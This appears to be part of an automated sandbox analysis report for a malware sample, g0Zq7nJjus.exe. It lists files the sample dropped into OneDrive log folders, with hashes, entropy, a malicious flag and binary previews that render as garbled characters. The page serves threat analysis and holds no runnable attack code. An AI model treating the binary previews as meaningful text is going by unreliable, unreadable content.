Preview:	EBFGOJ8@.Cg...iq"..i.A..?YXB.l.F_....9...s.....B.....+7...E..5S.....$.....};....@.].....-....u./n`u_.K`.....4k.e.N......~...?w...("...........9...R..\|..6.jgs...`..3..B.R..Q.o.f."_. ...LIRJ.dx..v.........de..\F.....ei9.k,......x.2.. %....p...$.{..(.r.H"...J.....\|.}..B.[B>&.VJp2.P.fV'.v...^....\}m~i..'..HV.@..#.(....E=..)H.....5.`..v..C...f..".....zQ.......n.j.l....l..J...........U..I.`...C.r....dO....P.J.<.....6.^.'(#..DE..\*./..A....o........(..6`..0.!.\|....(z"0._z...O.u'".i..._..X>7....R.4.......g.Eh.49..9f....~q..~N 7.Q..h.=..lcI...7.1.G...YN=..gw..fu~.\|......jh.$......V.7.f...q.;.hj.L............C@>^~oh.WPZ9....;K....-TS..K....RQ.#l}.z%.,.%..3.../..UF..]5..h...<f:.i..z...e.....v.w....(.....a.w.v.:^.N.!.3..w..............dO...c.r....b..Y..\.jQ}m6.....Z+HR.........?.GW....r4..i.......G.l... .r]nH..l.E.~x....{..=....X.L(06..`..V-.......C.....0......q..T<....G....tq.N........s..wx...."........xLbV....G..,Y.B+{/..y.;I.7.P..9o..(.p

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0620.792.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.896932801631081
Encrypted:	false
SSDEEP:	768:I6IxoEfKQjZnQPL546gG/OXAu1HkCaX0Rd2MXy1:IJiEfBnQW9AEHkVX0RgMy1
MD5:	9DC6A244913BC78424266ED1931B02A1
SHA1:	FCF5F12263ECEB9BF7BFD5B0BDD07660B78E5246
SHA-256:	507043E8789C0327F3F6E94E293554BE700A677EC45D1183435399745C17EBE9
SHA-512:	957733C6FDECF67EF13C3717FDAB51C594CDE959155FDEE9A26FEB9B0D9001ACED8E44E3F68E73643A16D9ABA1C103B4559F11F9B375785B5311C86B331CC532
Malicious:	false
Preview:	EBFGO.$.. .vq...q...<.s.%.:...O...(..Ks.y#..^.F).G.I..f.AJv.L..&C..."....<.O..F....D)/l.~.H..$.........'.L.......T....-tm...b.....S.0.........)..T~)B+.C:V=l...r8...rn.W..n.PcXuM.....y}Q3p),.+.Z.5\|..Q"........Z....3....2....FB.~....2.6#._.......l...1..n,/.q.{...i.wWO<.pow...l......B.g.(.\|.].,.N. .G}H.:....... ...V.,.Z...\|.]B......+.......E}YB=d..n..-.!..dM7_..<.Q.... 2......o.K...O...E....Ee..1.F...R_^.O..'...q...$..2.Ydi..k.C..F.. ..18.k../..%..t.1..;..i[..{U..P..bn..`.a...X.._.XdbW:..=.....-2&......uaE.G....`..L...nXW....Y.Zn.u.P.e..x...0./LM..f..."..(.=l...6....Y1........x\|o6..^.Wc.b...U..e.u....<..p'P(.[.a;8I..!..eJ(.Xk.........MYw..@......H..A....F..^...kd.....e.....M.ym...qm.lg.......-9.........Z#..&...cy....ez....N...k.F[........v".sr.s0..a.=.h..........F3$.<..-$f._.>B..*.....'&.(<....=..;21ei.vh...$O.o`.Rr..V.F.d3i".&........SW.,`.D.q..i...@..w.......l.OWZ.5..oX..p........S$..}E.p...`.....+.[V....r.p]....M..r\|.X..X......=.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0619.1184.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0141529015536064
Encrypted:	false
SSDEEP:	96:dcincp31nO8dri+AQr15rtzE+8rQa0+sL9d9jaC1OPlWwdN:d3831nOUr9p5RzEHrQa0LL1WgOPL
MD5:	92CCB57CC783B4D6B0C2F6ABD9C5F97B
SHA1:	2705B116EA3BF3EB04FD802150EA89AAC8DEA330
SHA-256:	77E46FFE5489BF31104D59853ED4E96E877FEBE88364A32CF2F267401DFB67E0
SHA-512:	A3526C5B427BBE7C2E55CB6E38EBD095E8B7DCBE27005965E4DCDE11DAA43C8E5BFD45533FAD94891DD7E84D7D2E837CC0AF854D770C96612BCDBB2787EADD8A
Malicious:	false
Preview:	EBFGO..v..6..U...z.. .0......W....ajo@T.J.c.;.:..nQ..6.f7."...a..T.G\|.}...l.w.WF.}T..V..q...g...i...E..$l.A.....2~X......,..P~mY.[..C.g.Gl..M.......u..:..I.D...w...E....;]0{.........~.?..sH...S.5i...c.1&....1...>.b..j....?<.9....7......xQ^>.K..&..z.W~.~..CQ...N..-.....n.%..(..#U.._.9.a...<,.F...z;P..M-...H.u..[....@...&.X.....u_6.^.u...U.@{.}.WC)g...n......P.0.f..#.L...wk.p.L..s.........DY.B..~u'`.p..th.l.H.8../..1..:AXT.\|G..z..G.(...Z..IJy...M.t.j.....j..K...k..iT....c..k.97.+.l..Jo.......PRd....ak.e.c.$.D~.Vo...x..r...4C..s.U.....g.....V...v.&....]&.K.W..4<...K^........s`t.!tF...H....y...J.E......Eq.g....4.x..f3K...M...5c:...k.Q..1.baI./u].!l...E@...k.;u......2..w.6...;.o.....L._....L...:+d.....lB.`......V.k.vA V.X.'Mw....+.H.../.;......[.0KR....S....C0[.>:Eb..Y.Y...(...c.U.c%.).S.EA.1.6...*L)....+f.im.~%.o..#h.O....gP.Z}R.e..>("W2.(.....g..3.e..^7.aP8M'.z..+B..M..+7,.....8K}.Q...'?$[.$%..i}.>w..N>8...l.m..."B..$.=Gd....]...;c....f...'..!..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0619.1184.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20592335725495128
Encrypted:	false
SSDEEP:	24:KgMoP17XsBCDXkx8xprhVuY2exnQVTkX3gwMonkGNpQX9T2bz:KHGiCTkx8PuYp1wTkAw6GNp69Az
MD5:	4FB4AC5D18873995A1FE5363C80A8961
SHA1:	E3504FC89AF159A7BD5DDDAEDF5385111624C4CC
SHA-256:	E7371BA195050B8C5357CA40BAFEE40CC44A8265B44CCA5AAFA47FF85FE928DF
SHA-512:	B21D529EA8075E294C248D255512C1B6D8DFF5B1AFBEE320AC74450529089436F8735C481A258612EA04CD58A75C755284109D231DD71668C40E18366F51A47A
Malicious:	false
Preview:	EBFGO.c.t.u.2...^..z....P...M........f...?e;..\|@.9....J.x6..._.~.T......O..h..$........m.V...k.Y..k....>GL`....oK.t.....?z.l...:[..c.n...p]Uj\/m..o...}'."..^.t.;.....G".gp2......"T.U.....4......".....\Ps..b\=]..5.N...JH.=..b.....,{6..(d..x..[.....b.DE.W.?....f.2..v./......h.u..;...ZL-...d..aKG.z.....S...~[..`yT..\|."...#..m..V....6..B.b...QW....H......&S...Q..=...3ON....N.7$.........4...N.......W.D.......2......}.[..E.Gv..v .#$.T$f....R.2.(!)...E.?.E....uDQ..J..zr.W.g......q.:...<....g...dN^.E6....-..E.'..3..eY..i ..........&...NY.y.....m.Xf.j.V..+9+.q..xW..%2....6.K0...r.rG.j...:!.9.2...&..=3.a...s.$^..EP.M...<....(..abl.V..-.T...&k-:w..8.!.=.]...;.6bb..5j.s.R..0.S`. :....S.d.......^Tq.P(.....K`..'..q...q4W.dJ.l..P..s.k.%.....%..*...T./..) .w...u...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0620.3608.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.688183410377522
Encrypted:	false
SSDEEP:	768:0rXZjT6eNotDOqFyflKHhW0HX8giNxGjyboHCWbCzPkQzNrk:mX1Tl06fYcgX8giopC2sPm
MD5:	93F8B3A674C35205147920E5D18B4028
SHA1:	ACDF23749ECACFA826D53ADE349D3A7F675C338E
SHA-256:	7217F35F1E49A308E29C422A07C426323BE1026C088E176FBB352DAF987DCDAA
SHA-512:	ED684A782A5F9057C78ABE8CED1EDEDCA0EC5A4542A5F16D57C291AC4BA897DE8B1E0D8AF101FDC2EB7B1CC206206BA6048A3B5220ADF5F75803111ECDD4F9DF
Malicious:	false
Preview:	EBFGO...dzzI..x...+.9...m..R\T.......9Q\|.hR.-..&.SS.....v.#.y.)S.R...w..?.$...q...l.k-.`.u..iP..3.v2..8....<.!......'.pG.."..J@w..Ia:-.7G./..\.@...9.EC2Y^.'%.3.As...x7\|../.x.(../..%.XG[.1.{...a].&,Uq,)Wp..E.<y.O.1..^ln....4..t.R.p.-....'.SX`!...Q..\|..2}; V.jH`s.m,5....PP...a6..>i.._.2....;.P^!.1....;+.vr..XR.C.&2.6x1....C...[[@#.K....t.".~.%GV%..-.0.......#..kh.'.h....O1...lBT.........2.E......<H.....p....k....Ryd.TD\.R0....YM...W..A.3qK.A.'..U.yXf.2.P....y..L..H.U.-4..W.]H...w.qqA..K./..o.&.xV..a...........".#1..<..^/....+.Ua...... sE..u..K.o./\|...H.[0.g.E...k....Ek..zQ.H.".....<B..r.5.pm..\|...V.zy8ZR..'..s...0.......D....%..$H...Wx...EH.~&........MW.0..y{....}'.S...;S..........K..(. .......@..;..R3\|...V.nu..B......yQD....^Rz.....u..4.9.L...o.S.z..>..+..2..v5.Z...x#9o.Ms.g..J....%....D5........\|.P.B......t.....0d..J....x..T....Z...+2.........1...Q.'.........K.e..#.]..oiF....Y....$........:...c@...v.i......t.TUa.D;la..U.'a...0....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0620.3608.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30609614639984245
Encrypted:	false
SSDEEP:	24:kIVoFe9GwZiRmAm20xlxUjIVuyIbctWEtwScWI2bz:kIVDGw8RR0qUwst/t/z
MD5:	67420F3A69800D18DAAD6F8CD55EAA53
SHA1:	D7836CB0E8BD763052474A27FCE5387529149520
SHA-256:	3A2727F624D0A4B9DA99CB3343E8F755568ED13B97E31A46BD9CA3BD26850D4A
SHA-512:	6ECB46E10AE15AA064C6456902D70C33ED1EDD552C43433CE198BB3F8EAA5CDD0C639901E7D833D51217EA766B6784DCE72E2C5714886863C2A1DE579F8E0CD6
Malicious:	false
Preview:	EBFGO....:b....,b..G.....5...!...,..iZE.... .&'P.....YtX}I..{s.....3'......).[....K?\|...y".&...)O........ux.-MM..............(...I...JF..7.-..S.I{.\...(7N.I..."3.j...B.zRb.....y.9y.M...I."wP%n}..........]X......L.h..:..<...."..FE...:5.].}.)D[..........fy.~qZ..j..adQ....z..+...E...\|.rs......^.T4..?I..Hq.7..0..p.....nu..`.]e.....@..W2X.H.........."Pb......rl.Tu;....j.=...F..c.\...C...7.<%....v'...G...L....]f....U..P...t....u.W.q.6b.;.[..T5.[...i...%.q.-K8./c9....g.4.x..`.Lu&..5.h[.......Kuu''.+._.`g."..;a..(.l&...A..].K.4.s....K0I.......Lji......+..o......Q......hO.....AZ..R./N....=....$.....dR!S..2'D=d.I....6.I....(.1..Lb..8K.......%...).u .....m.{C[.6.<y.M.L............T....bCzZU.u....H..H.....+..=..........a^...4].s.r.A.r.?0.Aag...].....Y...[...N.u9...-...:..O9.T...WK......0..@[...AX.m......OT..D....@....B..zP.R...%...}).R....$@.%XO.l#.tN..y....w..WP...6......AS........b.......U^...@^!mG.;V.=...J.d..6.^...\;).......8\.....jH=

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_061941_4a0-924.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.940281662448646
Encrypted:	false
SSDEEP:	3072:pHsRz7nj1JXr6T/Gs3W8typ5AinYhJ6/UG53fPKvB:pMRmT/GsGLDnU6/RvPaB
MD5:	ADF83AAB1CABB4B750F8F52748C4D14F
SHA1:	E15BE4C9805C3D1ECC8FB7A9F0415856F2EBCF94
SHA-256:	6504423EFD5CA2F57A9EB37F83AB23876EDCF7E67F9E8356F50C266EB5C7FAA2
SHA-512:	11CA0217F96527A646866901590D3DCBD8F196B8ED4775BEB33E8BEEC3ED2E394BB6D083255C32D4629F9A1DDC429AD1DF2AA3B019E0DE58956FD075A1110362
Malicious:	false
Preview:	1.0./q4..M.S.z........6(.@..~..=.v=>..G ._...us.C.,....%.s..nR..VZ.....b.R..v.....s...../.\|IKR.@......T.G..-....4..%.....h.........<.....#..S4...lO7%%-.^[3..%.{/..$......7.t..7&..p...Q...C. ..N1Lv.3.1...-....#..x.F...`....C..G.te..R.._J8N...c{.b.....RX.....V..tn.FT...B\|.'^a....8...}T..i.j.1.....Z.Z./cV..Uf.\|...9..............NIl...=C"..j..W.E....Glp.[....)j(..W."jg..q..t.........O..%....&R.Az.VI...K=....E1\.........J...u+H1v....[..AR...#....vY...?`...[...\.3.mo..~h...Vcq......._..Ncg........q">..1Q..!K...J.cm..ma\|......G.E.......k.^i{..C[9.K).+.^.W....UL...V".........D.nN...]....~.Gg{..M4...gK...pF.~gJ..h....1.y....n.z.....^-x..I.+..p..zt........V.7......(.>.[.4Q8wB...<..8.V<...F...f2....2[...W..D...-....C[{.@..#...{..?.7.8...i......CV.3:.C3...=5.V.....O..6.U..C...#....S....s...........e.Yy.\%r.z.'.h.yr"..y:.U.../r:D.....w.5.[w.I.#...?.\..G\|4..-..u.>#S...N..B...c.?q..B8M)..J.....xLpn.\|Vh...\.c..t..w.L..@._s~l...i......r

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_062009_3608-4064.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.807563757361206
Encrypted:	false
SSDEEP:	6144:jHan2md/grpg5hMcAtVCA7tRNx1uGAu+:banXdD5C9r1k
MD5:	9413E95060FF2F77A25DFD9C4836C6F3
SHA1:	C189D59C13AB2BA81E0D2DF2A456E03149BFA96B
SHA-256:	621279AD6C5D3AA2C5A08A22389E876A5225EA31EEDCDCBAB5B254DF250E2742
SHA-512:	175AB584B5F6CD7E9B3D079834784B7D6A4294D83C15D711B36A53EA28F5F00D93D901FAF307E5999ACC9D1A3D5FEAEDD9B384990E8775AB476C1B16CE2E6E99
Malicious:	false
Preview:	1.0./..6..T\|..W.L......#I............\a.q..>.@X...nB...U+.....e..h.O.3RB.W.....l..&Hn...H....fN._.".C..c.}.8.14.Q4..=.V.j#j...4. .G1.1-......@.h"pPYD.N.Q....f....=..Q..DH$..z..4.u....B..=.p.g)~.T.k>.G..4...<.{s1$Q.t....k....h.=XT..2...$X......\...{...hC#..{$.C`...:...)\J..Z...+......n.#_..<.;...{.$'.\\|.<.."...y.o.{....K.......,....t.....?...l.d=.l.."gr....0....].3\|...6Y...v..R.`..f.6.9.Xul.E84.......^l..>...-..t...r.....5...e*F2.....N..r/....e+.]...x.x.6.o}M.v....p<....^??..1.t.....I...;{w....+.s..9.R..b....o}...e#~.N..8w).iA;..,..s.G.s....H.......g-73m.!nr.1~.H....z...;.......^.J.,!...&3...y.+>..!.q...DJ.8..8.g...4..73G.>..4.... ...p..qgY.<e.Ac.h.V0......D.^.)......\|..&.......I.+v.......aD..Q...........`..a.#.T....I.R<@.djt.........h....1U..u?..+.6..N..\|.a.9.....c...k...DG.hj.%+h..#~W.}.=..0...;.i.o..JL..c#N.+.Y.7.Z..v^..{H.o.,.u.8...Sa...fL...y.....~9....p......N........./............Q...u.W..)Btv...V........tx...v..zj..MNH....r.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_061938_46c-3e0.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	30274
Entropy (8bit):	7.994686865822607
Encrypted:	true
SSDEEP:	768:UCblWHEiQAWGtBtGCz/o0UrZ+orP7S6C32EbmHdynbPWi+:tlWHiGpGCzg0UrZly6C3AIPv+
MD5:	44DBCDBA76B0F1775555BE3C75ED147B
SHA1:	12BC521631AE59B17782D1689686E915B806CCC9
SHA-256:	4E37003745372C332ABE51B6FC4C46F96EB4AB7CB962592CECD5DBE642A7473F
SHA-512:	616221768BF97874C876B16D4AAE453CB586A0078F7A03A7A627777462B099B4906CC0DF4511C2AFCFE36BE1F966E2BA044503ED06125FF79932DC9C124C1B91
Malicious:	true
Preview:	1.0./.8......5N..B..4v......)....}=LW...h\|i...rj[.2...^.*"k...2".v..\.h. .'w.....0.......NOS"r%.7{...:...">.h...>........qt.m<.5...J-.r.C..%...1g9Q.I.YjK....7.;E..S....g6.[xh.W.3~^..[.f.X.z=.`.[..TD.l}j..t.....P....4H......D.,......W....C^..a...c..)/+.T...1.Jm.A.@...B.PQ`a).@...P..6...."........Q...7..Z...$."P.....KOe1.....~..%.%m..A.F.JgnN........`..........:.$]I...l..Am..(.o.jb.....a...Y.\4..c=g<.z.5}..o.....C..O.V.zj.r=.<..x..S...[dz7.YZ..#},..yM`....k..A.4.[.Kp.%)6;L'.V9.?...8V.f.yo...P....x.G......c/..A.....".:.f..~.o..,._../<.q........di.{.....D.J=}..:`..RgH...-.zw..d...TI..C...........1Sa.mo.>.....).c~.x..l.N.] .dA.i.[.9..A..../>.M.{.....-{n<.6#.$.).n.Q.}.....(....e.n...Hl..`6.g.$$.,/..........P~.k\.Nw..:>;m.c.P.6...B..j.n.4..}.....Ek.2.qr..k.f...eU\|.....fz....B...M.......Pb....V..T..1;..6v?-.I..AI....SP.J.H..?..W........f.x.%.....<. ...I..u~....8....m.qX....$.x......O...9.%...3...X..,.?.S....g.uQ...x..B...{.......v..[.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_062003_792-1760.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.6758177160355325
Encrypted:	false
SSDEEP:	384:tWo5epxwQuNowlt6WJSgVKYJas2tthBczwt5amwzc8RGIAwTRw+MKWrv6mawtbia:j403Npr0sYfthBc2am2cmJ39s20Ma
MD5:	274ED6674111F355C363ACA3F668264A
SHA1:	4F874365756A85067CE57A3CF4F75057044F4F41
SHA-256:	1A03DBB5775F2FD24F2E001A51E1D23FB11F4636F441FD9FE76E7BA788D2B94B
SHA-512:	A64E8217B559CFC0C26C6276C72CD6B09C03BCA80021F64CBCB24B81372FB86EF9A39A14EB076C1CC7705CB17ACB0D42C4E911997140588E58AAB62EFA10DCAA
Malicious:	false
Preview:	1.0./Q.hq..%...ck..Q.../UM.....r.y...5...e.8yPi.VeA.}....AS.0...>..<q.....(_../..9.#q.[....."...d.....?.d......<....U7s...:.Z0'....7......1..3.2.o`n.......@..+.G$.........u..,.B......cc.k1.c~.c./.f..@Bc.Ho.b...g......5......:S1...c..m.o.....\#...._.!{..=......6{.8z.lXmU..X..b.63.....3(Bh.z.V..~.@.!L.."....R..y....../...$...f..E:.(..0.g...m."F....'[.~.<{.yN.s..).p.l..t......#d..`d..x.s ..WQ...BXq ...............0V....P.;O{}.Q\..%..u.{...37c..7..X>.+>j.>.{.O....?O..{..1t.-.'.i...p..m\...%..1..?..._`.3 ..........x.t.;k.g+........5..?...%..l@aV*....=z.<Y..+f.U..6'\J3.......c..ac.........PP....g..9.R..lr.CA.a7.....Bz.f).....L....B.g.T.-F.v.b.........../O>....g-.........K.o.."...r..17K...A.\|..<...#KN".:4......5..g.D.........T.Y9..h..HZ...........Gc.J....v=..F...S.SH......'n.^QT.h....n>..y..#..P.jWx....\.bJ.V<.$..k..O...?#-A...u-....Q.D.ck....O....W.C...B..4P.$.l..miqQ.bbIv_..^eOM..C=.E3..\.F.E.....;K....ch{....9..Q.1Qv...Z.>r.fgj.[.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_063354_5848-6440.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.305479860882285
Encrypted:	false
SSDEEP:	384:glhUIhG1skta03YBdzr39ofT9YRx+8c+Dd57Xf9B:fIIF7IdzDSLmx+r+j5B
MD5:	C10A7855E78044B4F4433436A8ADA336
SHA1:	CDE751C13C58BAD1520A566417DAADA524C5EC13
SHA-256:	25781D989461CE99F2550E449241B571EC37A0C40A3989615CF9E4E77DC9F4E7
SHA-512:	2518E0CA2DCCE9861A19D1608F87D48B2403691A4BC919CFF057911B21D23707F5CDC5E91ABB10589D27CD8411DB155745F0D558F92320E10DD0BB12F6CDC0F3
Malicious:	false
Preview:	1.0./..."..".N.!..H.#...6.:...S.x.1.{#..c.;..(.^.6@-...}./....IP...+2.[5\.;...B...2..3D~...v...F.=..M.^.s..G.r.A.....M..(...v.^..P3.^:iT......Q.2;).B@...k{....r..0..............9....#.h.o.G...C...f5.~.!.B.2D....@.Q...@...N0MKf!p..2<q."o.).?..vGV.....Z.!.........5...Z.zF...........d.A.".L. ...6..ij.:....i$...DV.[.j.../b...\|...p5....<...c8..............\..j....&.....#...;....n...v..uw)..X...V....iM...z..].^.LM..!./.,.W.<.qK..:..Bu..j..2,...B.H..%.I._s...}q..?....N.^E.......G<...k]....m.$....N..W..G...L.O...y..S.k}.Ia.J_.].F........~.7. ......d.P..t..[-Kd.i.-<.].QI..Y.x&.0.0......+m.~.3M&1.......N......"h..w.C...L.V!U9XD..5T.J K.-a~M.....y....Al..j,..Pm..........\|..if..r..,..dL...S].h..l(wEXUV..X.1...4.{.B.:x,)^3..!.+;.B.vt.M...w:..H6...i.q..6...9V.9....#%..e........[..\J.'..>...\|.sj.8..`l......@-~D.....8.J.w..A.&.*6S..<.\..0../N-.\.Ar...)..Px.......W.O.....e..Ou.?.8...H.U...3.~.... ..$u.^]q;.e;U.B.....$$..2....z.^..uu..O....b.^..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_064306_5484-2316.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4695485666612824
Encrypted:	false
SSDEEP:	192:4HcCpgsnhPZLRitgUzUiYSejfO2E2sznrz2KQJqcOWd:4HcBe5Z1invYnEcRJxd
MD5:	26A53E2ECD692591B84B70F5E49832E9
SHA1:	5CDB2CB20AAD5358CBFDC6EBB14CFC8CECF07E54
SHA-256:	7E16B60D375073EA916E23B04D17C03AB134A21DE24AA44009373C522BEECF14
SHA-512:	CF3397EF19D4C535AF08557E22402A645AC443A74BD19C8319C64A64EFA79D7F3BFF66A5A1F22AB7181C3367F62DB025D05C2EE48124296BFA6B15B8EB1BD9F6
Malicious:	false
Preview:	1.0./.7...tN..LJ...f:....I.\|.2T.@VY..M..A.h.h.....T.!{......u........>...$.t_0..S.0../.k.. .5..:.4r.;.n..4.....8...u..\|z\>.......p...,..k.dK\|.$.Z........OM...t..c...("..1..{JO...9.SM...Gy.O..q..H.q...B...=...D%..ZT."rN...NdsF....Q&."....C].%...QNFx.pN.......F......+.[F....z.3....JErj.$ ......\|.vnLM.g.\|j.O.D....1...A..1...........$r.,r6MX....`$U..\v.;U2..Iz..L.Q..d?....Uf..o9Y{{nd8m.....{..uR..H./..O..9F.......H..w...(m@j.....gRQ......U...stVe.....Z.`x.]M..o.-.na.K......L................QT...n..._.g.1.-j..0~..(..y.4.@......N.Md..4.\\..D.Z..x.....[....xS.Q....xt.a_'...J.L.k......K...Mr%.1........}P..8.ygexnP...m........u2....e.l.h...:....v..E$.k4q.X.wW.k.$8....../.hz.lG..sS..sw.c%.#.t>..XG.......w..'..4Z.\E...1.&....za)C...Fe.q%..:.i.....e._.{LXG......gB..k(...=....#-2P...+.']...._.w.....?:..''~.D.Z`qrfL..f.....\|Bg...:;..6h..Y.k....<hjr.\.'..O...I.G.......3L...&..!..DgK...H+x.Y.'...... ....].<......l=j..8.......K.....].q;.....\..9..W..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0632.6564.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9676463745211459
Encrypted:	false
SSDEEP:	96:wqdtyFZ/oRw9We8Z6im9jS9TF8+6QTk9m5Lnu5:wQOMZ1vFtgI
MD5:	E5186E07E9F0B485A9F1DF98173C6BA2
SHA1:	B0AEA1508685CF889A9998C1BF4E96716CBDA84B
SHA-256:	BC39A67EC79662B4C2DF1B6FEBF9CFE4C9FC9205F9E0D2279CE9F2139E8C481F
SHA-512:	BEC754850A70FFA728A88B64267E776EEA31CDB8FA040D7CFEF1BBBF9E79949C226B836B05CC40D9AF2041AE30A43F8FC55EB9851051DA56EBE6465CBAB77142
Malicious:	false
Preview:	EBFGO....^h."k\V:Heo.G.....w.!.B..~..sH...AY.._.......P)..Q...A..q#..J....f.3.U............x.t\TM.^.tN... ....O....7Y.t...Cnd5x..o..\.m...<.=..-..f['...TWw.-#...?..IT^.S#E`...{#./$..7..K...X6...BQ...k..&...@...N.D...`.4%!i,'...VB..L......B\|.1..................VW...m[...W......Q.i......1N.3E..l....#...M....eo.TW..Y.<....aR.2./....8..?...\..b.,".....\xm.6U.r.o.......)....3.........aj.B..}.hr./Q.q&._........Go.....#H.[....8...H..Y<..L...O.!..BQi.2H.U.C^q.5U.>fH......w{.~.HV2%..u...2.<.#.t.r.w...#/v........}.R.....2....%....1.R\.R.0PF..Z.....4......1.....cs.3.8..$.M.j...........k.D..(..._..$......I..).[. ..cu.~..{....&....=..).I.....FK.HT..7.i.$.X.m=.........0.._..p......o....]P.#.........1.u......V\. ...N.. `..o,.9:..A...A.y....=.....]]O....<..FI....Qhy~T....g}e.\?==U...Z]..o..l....F....S(.f%.3..D@.R..v.h.\|..Q.........'.4.j..&...25.{..z....PQ..`ce..y-..$D.R.vLH.A.9..O..-...O..?....k.#...NlQ#.+........S.4..j.mS7.vUx.'...9.h..-0.T....`..$&.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0632.6564.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.560556836293875
Encrypted:	false
SSDEEP:	192:rKucERSg7PNnhShSec3oj9duyIz5MZcy0eZGghykbE4:+u/Ohe2i9MZHdhT
MD5:	C09AD92A66FA2BBD241F982C65105C78
SHA1:	1113BD1FE0BB6DB528FC8EFAF64089E4C8116D27
SHA-256:	0AFA5838FF563882573D1235F78AD5083FAE0DFAA94E779A4D08C323D3B3E0C5
SHA-512:	E506A59AE60B858E31AC5B9B0171320A7CD262F6AAC065A8C7E19DA43F55C0F4B05DDD184ACCE021E4F2E1C4EF1C0FA68BF8893C1DE5B12CDB02E84686F80934
Malicious:	false
Preview:	EBFGO9{..H=...N.\|2.$R;......A.?..X,.~.m.z.P...nR4H..}......!0".I.'.L...T.)....5.{.. 3..a..i...v..7...qG8:.1..$.....tau=.;.E..F.L.M..<..q.w.o07..)0.x.....d....C#..2....(.M.>.@+m.l.j;..L.i( [a@..Q.tY.Nv..y..d...e.!B.Q`....)....m....(`.vP#..m]..v.S...%.b.=sp.r....%h.d.I..p...2\0.5n..9..#d......K.`.\|K/...^;..4.S8..*...I.,.O...C:.W2d.J...!.....3q\D{.Hy.~..X.1.Z!.1eu....=.5..q.4d}.z#..4..XG-[..xEMts......k..;.....`...+(.S`..5QGp.p.)J....&."b.8..G....y ]....pY.TM.."....A....x2.-D.......\7...=."MO.:f......._..........=Z.b..[I...,.../.i..e.c...,h..Ty]...F ...x......-...m..c...0...........;.......5T=.yN>+E...B....5.v.".].Z=i........"pY{{.$..0.....T.S?.....'.F..T.[....&5....`'Ck..,'x.~bMg..b..V...5S.(Z. ............V2.U..D.FT....XT....l...:a...y.m.R.:5?7...-.....4Ss9.;.....U.3.S..lb...=... M.J..R........?.^.?y(3....Y...VEIG..2.>O.C.......k........'.x....'.GG...4....;.w...\|w1z7...........v....A.</...A..0Pn..h.%.F.z%x.<]=#.#......jqL..g.....dS`)2

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.0632.6856.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8658896913450065
Encrypted:	false
SSDEEP:	192:Z7wUeXqVfh/NCsgeI/Oc7xqLAUKMm3uk:hZB/FCPewOc1uRr
MD5:	FD15516E7D25E08C43BB02194ED00DAA
SHA1:	E1ACBE06337AC1B88F2377DC89FCE5AAB9018A7C
SHA-256:	FC4B5B062C72B52DC0EE3F8F7F48C22453B5E615458CACE56F5F058372EA8C04
SHA-512:	EFB3B937C4C1D3959208AA32736C4CF5E31C0E291AF4A2BBE7349283E7A9FFCB07F4612E28C10940133C317849E8B04518EB8927C97AA82F560AF8018B2ABC93
Malicious:	false
